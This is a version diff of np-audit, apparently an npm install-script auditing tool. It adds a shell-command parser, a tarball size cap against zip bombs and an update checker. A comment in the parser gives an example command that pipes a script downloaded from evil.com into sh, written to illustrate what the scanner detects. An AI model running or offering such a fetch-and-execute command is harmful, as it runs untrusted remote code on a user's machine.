np-audit 1.4.0 → 1.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,256 @@
1
+ 'use strict';
2
+
3
+ /**
4
+ * Parse a lifecycle command string into a list of "script references".
5
+ *
6
+ * A script reference is either:
7
+ * { kind: 'file', path: 'install.js', interpreter: 'node' } — analyze this file
8
+ * { kind: 'inline', code: '...', interpreter: 'sh' } — analyze this command string
9
+ *
10
+ * The parser splits on the standard shell separators `&&`, `||`, `;`, and `|`
11
+ * (which all chain or redirect commands during npm install), then classifies
12
+ * each segment. This means commands like:
13
+ *
14
+ * "node pre.js && node post.js"
15
+ * "sh ./install.sh; node cleanup.js"
16
+ * "curl https://evil.com/x.sh | sh"
17
+ *
18
+ * all produce multiple references — earlier versions of np-audit only ever
19
+ * extracted the first `node` invocation and ignored the rest.
20
+ *
21
+ * String literals (quoted) are kept intact so we don't split inside an
22
+ * `-e "a && b"` argument or similar.
23
+ */
24
+ function parseCommand(command) {
25
+ if (!command || typeof command !== 'string') return [];
26
+
27
+ const segments = splitOnShellSeparators(command.trim());
28
+ const refs = [];
29
+
30
+ for (const segment of segments) {
31
+ if (!segment) continue;
32
+ refs.push(...classifySegment(segment));
33
+ }
34
+
35
+ return refs;
36
+ }
37
+
38
+ /**
39
+ * Split on &&, ||, ;, | — respecting single, double, and backtick quotes.
40
+ */
41
+ function splitOnShellSeparators(cmd) {
42
+ const out = [];
43
+ let buf = '';
44
+ let quote = null; // null | "'" | '"' | '`'
45
+
46
+ for (let i = 0; i < cmd.length; i++) {
47
+ const c = cmd[i];
48
+
49
+ if (quote) {
50
+ if (c === '\\' && i + 1 < cmd.length) {
51
+ buf += c + cmd[i + 1];
52
+ i++;
53
+ continue;
54
+ }
55
+ if (c === quote) quote = null;
56
+ buf += c;
57
+ continue;
58
+ }
59
+
60
+ if (c === '"' || c === "'" || c === '`') {
61
+ quote = c;
62
+ buf += c;
63
+ continue;
64
+ }
65
+
66
+ // && and ||
67
+ if ((c === '&' || c === '|') && cmd[i + 1] === c) {
68
+ out.push(buf);
69
+ buf = '';
70
+ i++;
71
+ continue;
72
+ }
73
+
74
+ // single | (pipe) and ; — also segment boundaries for our purposes:
75
+ // a pipe `foo | sh` clearly has two commands; a sequence `a ; b` too.
76
+ if (c === '|' || c === ';') {
77
+ out.push(buf);
78
+ buf = '';
79
+ continue;
80
+ }
81
+
82
+ buf += c;
83
+ }
84
+ out.push(buf);
85
+
86
+ return out.map(s => s.trim()).filter(Boolean);
87
+ }
88
+
89
+ /**
90
+ * Classify a single shell segment into one or more script references.
91
+ */
92
+ function classifySegment(segment) {
93
+ const tokens = tokenize(segment);
94
+ if (tokens.length === 0) return [];
95
+
96
+ const cmd = tokens[0];
97
+
98
+ // Resolve common path-prefix wrappers
99
+ // e.g. "./node_modules/.bin/foo" → "foo"
100
+ const cmdBase = cmd.split('/').pop();
101
+
102
+ // Node interpreters
103
+ if (cmdBase === 'node' || cmdBase === 'nodejs') {
104
+ return classifyNodeInvocation(tokens.slice(1), segment);
105
+ }
106
+
107
+ // Other JS runtimes
108
+ if (cmdBase === 'tsx' || cmdBase === 'ts-node' || cmdBase === 'bun' || cmdBase === 'deno') {
109
+ const fileArg = tokens.slice(1).find(t => !t.startsWith('-'));
110
+ if (fileArg) {
111
+ return [{ kind: 'file', path: stripDotSlash(fileArg), interpreter: cmdBase }];
112
+ }
113
+ return [{ kind: 'inline', code: segment, interpreter: cmdBase }];
114
+ }
115
+
116
+ // Shell-script interpreters
117
+ if (cmdBase === 'sh' || cmdBase === 'bash' || cmdBase === 'zsh' || cmdBase === 'dash') {
118
+ return classifyShellInvocation(tokens.slice(1), segment);
119
+ }
120
+
121
+ // Python and friends
122
+ if (cmdBase === 'python' || cmdBase === 'python2' || cmdBase === 'python3'
123
+ || cmdBase === 'ruby' || cmdBase === 'perl' || cmdBase === 'php') {
124
+ const args = tokens.slice(1);
125
+ for (let i = 0; i < args.length; i++) {
126
+ const a = args[i];
127
+ // -c "code", -e "code" — execute the next argument as code
128
+ if (a === '-c' || a === '-e') {
129
+ return [{ kind: 'inline', code: args[i + 1] || '', interpreter: cmdBase }];
130
+ }
131
+ if (a.startsWith('-')) continue;
132
+ return [{ kind: 'file', path: stripDotSlash(a), interpreter: cmdBase }];
133
+ }
134
+ return [{ kind: 'inline', code: segment, interpreter: cmdBase }];
135
+ }
136
+
137
+ // `.js`/`.mjs`/`.cjs` files invoked directly (shebang)
138
+ if (/\.(?:js|mjs|cjs|sh|bash|py|rb|pl)$/.test(cmdBase)) {
139
+ return [{ kind: 'file', path: stripDotSlash(cmd), interpreter: 'auto' }];
140
+ }
141
+
142
+ // npx — running an arbitrary package. We can't statically know which file
143
+ // it executes, but the command string itself is worth surfacing.
144
+ if (cmdBase === 'npx') {
145
+ return [{ kind: 'inline', code: segment, interpreter: 'shell', npx: true }];
146
+ }
147
+
148
+ // Anything else (curl, wget, cd, env, …): keep as inline so it shows up in
149
+ // the report and is run through the obfuscation checks at least as a string.
150
+ return [{ kind: 'inline', code: segment, interpreter: 'shell' }];
151
+ }
152
+
153
+ /**
154
+ * Handle `node <args...>`. Cases:
155
+ * node script.js → file
156
+ * node -e "..." → inline (the code IS the argument)
157
+ * node -p "..." → inline
158
+ * node --eval "..." → inline
159
+ * node --experimental-foo s.js → file (skip flags, pick first non-flag)
160
+ */
161
+ function classifyNodeInvocation(args, fullSegment) {
162
+ for (let i = 0; i < args.length; i++) {
163
+ const a = args[i];
164
+ if (a === '-e' || a === '--eval' || a === '-p' || a === '--print') {
165
+ const code = args[i + 1] || '';
166
+ return [{ kind: 'inline', code: stripQuotes(code), interpreter: 'node' }];
167
+ }
168
+ if (a.startsWith('-')) continue;
169
+ // First non-flag token is the script file
170
+ return [{ kind: 'file', path: stripDotSlash(a), interpreter: 'node' }];
171
+ }
172
+ // No file, no -e — fall through to inline
173
+ return [{ kind: 'inline', code: fullSegment, interpreter: 'node' }];
174
+ }
175
+
176
+ /**
177
+ * Handle `sh <args...>`. Cases:
178
+ * sh script.sh → file (the .sh file is fetched & scanned)
179
+ * sh -c "..." → inline (the code IS the argument)
180
+ * bash -c "..." → inline
181
+ */
182
+ function classifyShellInvocation(args, fullSegment) {
183
+ for (let i = 0; i < args.length; i++) {
184
+ const a = args[i];
185
+ if (a === '-c') {
186
+ const code = args[i + 1] || '';
187
+ return [{ kind: 'inline', code: stripQuotes(code), interpreter: 'sh' }];
188
+ }
189
+ if (a.startsWith('-')) continue;
190
+ return [{ kind: 'file', path: stripDotSlash(a), interpreter: 'sh' }];
191
+ }
192
+ return [{ kind: 'inline', code: fullSegment, interpreter: 'sh' }];
193
+ }
194
+
195
+ /**
196
+ * Lightweight shell-style tokenizer — respects single, double, backtick quotes
197
+ * and \-escapes. Does NOT do variable expansion (we want the literal command
198
+ * the way npm would hand it to /bin/sh).
199
+ */
200
+ function tokenize(s) {
201
+ const out = [];
202
+ let buf = '';
203
+ let quote = null;
204
+
205
+ for (let i = 0; i < s.length; i++) {
206
+ const c = s[i];
207
+
208
+ if (quote) {
209
+ if (c === '\\' && i + 1 < s.length && quote === '"') {
210
+ buf += s[i + 1];
211
+ i++;
212
+ continue;
213
+ }
214
+ if (c === quote) { quote = null; continue; }
215
+ buf += c;
216
+ continue;
217
+ }
218
+
219
+ if (c === '"' || c === "'" || c === '`') {
220
+ quote = c;
221
+ continue;
222
+ }
223
+
224
+ if (c === '\\' && i + 1 < s.length) {
225
+ buf += s[i + 1];
226
+ i++;
227
+ continue;
228
+ }
229
+
230
+ if (/\s/.test(c)) {
231
+ if (buf) { out.push(buf); buf = ''; }
232
+ continue;
233
+ }
234
+
235
+ buf += c;
236
+ }
237
+
238
+ if (buf) out.push(buf);
239
+ return out;
240
+ }
241
+
242
+ function stripDotSlash(p) {
243
+ return p.replace(/^\.\//, '');
244
+ }
245
+
246
+ function stripQuotes(s) {
247
+ if (s.length >= 2) {
248
+ const f = s[0], l = s[s.length - 1];
249
+ if ((f === '"' || f === "'" || f === '`') && f === l) {
250
+ return s.slice(1, -1);
251
+ }
252
+ }
253
+ return s;
254
+ }
255
+
256
+ module.exports = { parseCommand, splitOnShellSeparators, tokenize };
@@ -15,6 +15,8 @@ const DEFAULT_CONFIG = Object.freeze({
15
15
  skipScopes: [],
16
16
  skipPackages: [],
17
17
  silent: false,
18
+ scanSelf: true,
19
+ maxTarballSize: '50MB', // Max unpacked tarball size (e.g. '5MB', '1GB', or bytes as number)
18
20
  });
19
21
 
20
22
  const VALID_KEYS = new Set(Object.keys(DEFAULT_CONFIG));
@@ -29,17 +31,44 @@ function readJSON(filePath) {
29
31
 
30
32
  function loadConfig(cwd) {
31
33
  const base = { ...DEFAULT_CONFIG };
34
+ // Parse the default maxTarballSize string to bytes
35
+ base.maxTarballSize = parseSize(base.maxTarballSize);
32
36
  const global_ = readJSON(GLOBAL_CONFIG_PATH) || {};
33
37
  const local = cwd ? readJSON(path.join(cwd, '.npmauditor.json')) || {} : {};
34
38
  return Object.assign(base, coerce(global_), coerce(local));
35
39
  }
36
40
 
41
+ /**
42
+ * Parse size strings like '5MB', '1GB', '500KB' to bytes.
43
+ * @param {string|number} value
44
+ * @returns {number} Size in bytes
45
+ */
46
+ function parseSize(value) {
47
+ if (typeof value === 'number') return Math.max(0, value);
48
+ if (typeof value !== 'string') return 0;
49
+
50
+ const match = value.trim().match(/^(\d+(?:\.\d+)?)\s*(B|KB|MB|GB)?$/i);
51
+ if (!match) return 0;
52
+
53
+ const num = parseFloat(match[1]);
54
+ const unit = (match[2] || 'B').toUpperCase();
55
+
56
+ const multipliers = { B: 1, KB: 1024, MB: 1024 ** 2, GB: 1024 ** 3 };
57
+ const bytes = num * (multipliers[unit] || 1);
58
+
59
+ // Cap at available RAM to prevent out-of-memory
60
+ const totalMem = os.totalmem();
61
+ return Math.min(Math.max(0, Math.floor(bytes)), totalMem);
62
+ }
63
+
37
64
  function coerce(obj) {
38
65
  const result = {};
39
66
  for (const [key, val] of Object.entries(obj)) {
40
67
  if (!VALID_KEYS.has(key)) continue;
41
68
  const def = DEFAULT_CONFIG[key];
42
- if (Array.isArray(def)) {
69
+ if (key === 'maxTarballSize') {
70
+ result[key] = parseSize(val);
71
+ } else if (Array.isArray(def)) {
43
72
  result[key] = Array.isArray(val) ? val : [val];
44
73
  } else if (typeof def === 'number') {
45
74
  const n = Number(val);
@@ -71,4 +100,4 @@ function getGlobalConfigPath() {
71
100
  return GLOBAL_CONFIG_PATH;
72
101
  }
73
102
 
74
- module.exports = { loadConfig, setGlobalConfig, getGlobalConfigPath, DEFAULT_CONFIG, VALID_KEYS };
103
+ module.exports = { loadConfig, setGlobalConfig, getGlobalConfigPath, DEFAULT_CONFIG, VALID_KEYS, parseSize };
@@ -9,11 +9,13 @@ const BLOCK_SIZE = 512;
9
9
  * Pure Node.js — no external dependencies.
10
10
  * Handles GNU long name (typeflag 'L') and POSIX ustar extended headers (typeflag 'x').
11
11
  * @param {Buffer} gzipBuffer
12
+ * @param {number} [maxSize] Maximum total unpacked size in bytes
12
13
  * @returns {Map<string, Buffer>}
13
14
  */
14
- function parseTarGz(gzipBuffer) {
15
+ function parseTarGz(gzipBuffer, maxSize = null) {
15
16
  const tar = zlib.gunzipSync(gzipBuffer);
16
17
  const files = new Map();
18
+ let totalUnpackedSize = 0;
17
19
 
18
20
  let offset = 0;
19
21
  let pendingLongName = null;
@@ -56,6 +58,10 @@ function parseTarGz(gzipBuffer) {
56
58
  name = name.replace(/\0/g, '');
57
59
 
58
60
  if ((typeFlag === '0' || typeFlag === '\0') && size > 0) {
61
+ totalUnpackedSize += size;
62
+ if (maxSize !== null && maxSize !== undefined && totalUnpackedSize > maxSize) {
63
+ throw new Error(`Tarball unpacked size (${totalUnpackedSize} bytes) exceeds limit (${maxSize} bytes) — potential zip bomb`);
64
+ }
59
65
  files.set(name, tar.slice(offset, offset + size));
60
66
  }
61
67
 
@@ -0,0 +1,72 @@
1
+ 'use strict';
2
+
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+ const os = require('os');
6
+
7
+ const CACHE_FILE = path.join(os.homedir(), '.npa-update-check');
8
+ const CHECK_INTERVAL = 172800000; // 2 days in ms
9
+
10
+ /**
11
+ * Check for a newer version of np-audit on the registry.
12
+ * Non-blocking — swallows all errors and returns null on failure.
13
+ * @param {object} config Must have `registry` and `timeout` keys.
14
+ * @param {string} currentVersion The currently installed version.
15
+ * @returns {Promise<string|null>} The latest version if newer, or null.
16
+ */
17
+ async function checkForUpdate(config, currentVersion) {
18
+ try {
19
+ const cache = readCache();
20
+ const now = Date.now();
21
+
22
+ if (cache && (now - cache.lastCheck) < CHECK_INTERVAL) {
23
+ return isNewer(cache.latestVersion, currentVersion) ? cache.latestVersion : null;
24
+ }
25
+
26
+ const { fetchJSON } = require('./fetcher');
27
+ const meta = await fetchJSON(`${config.registry}/np-audit`, { timeout: 5000 });
28
+ const latest = meta['dist-tags'] && meta['dist-tags'].latest;
29
+
30
+ if (latest) {
31
+ writeCache({ lastCheck: now, latestVersion: latest });
32
+ return isNewer(latest, currentVersion) ? latest : null;
33
+ }
34
+
35
+ return null;
36
+ } catch {
37
+ return null;
38
+ }
39
+ }
40
+
41
+ /**
42
+ * Compare two semver strings. Returns true if `a` is newer than `b`.
43
+ */
44
+ function isNewer(a, b) {
45
+ const pa = a.split(/[-.]/).map(s => parseInt(s, 10) || 0);
46
+ const pb = b.split(/[-.]/).map(s => parseInt(s, 10) || 0);
47
+ for (let i = 0; i < 3; i++) {
48
+ if ((pa[i] || 0) > (pb[i] || 0)) return true;
49
+ if ((pa[i] || 0) < (pb[i] || 0)) return false;
50
+ }
51
+ // Same x.y.z — pre-release (e.g. "beta") is older than stable
52
+ if (b.includes('-') && !a.includes('-')) return true;
53
+ return false;
54
+ }
55
+
56
+ function readCache() {
57
+ try {
58
+ return JSON.parse(fs.readFileSync(CACHE_FILE, 'utf8'));
59
+ } catch {
60
+ return null;
61
+ }
62
+ }
63
+
64
+ function writeCache(data) {
65
+ try {
66
+ fs.writeFileSync(CACHE_FILE, JSON.stringify(data), 'utf8');
67
+ } catch {
68
+ // Non-critical — ignore write failures
69
+ }
70
+ }
71
+
72
+ module.exports = { checkForUpdate, isNewer, CHECK_INTERVAL, CACHE_FILE };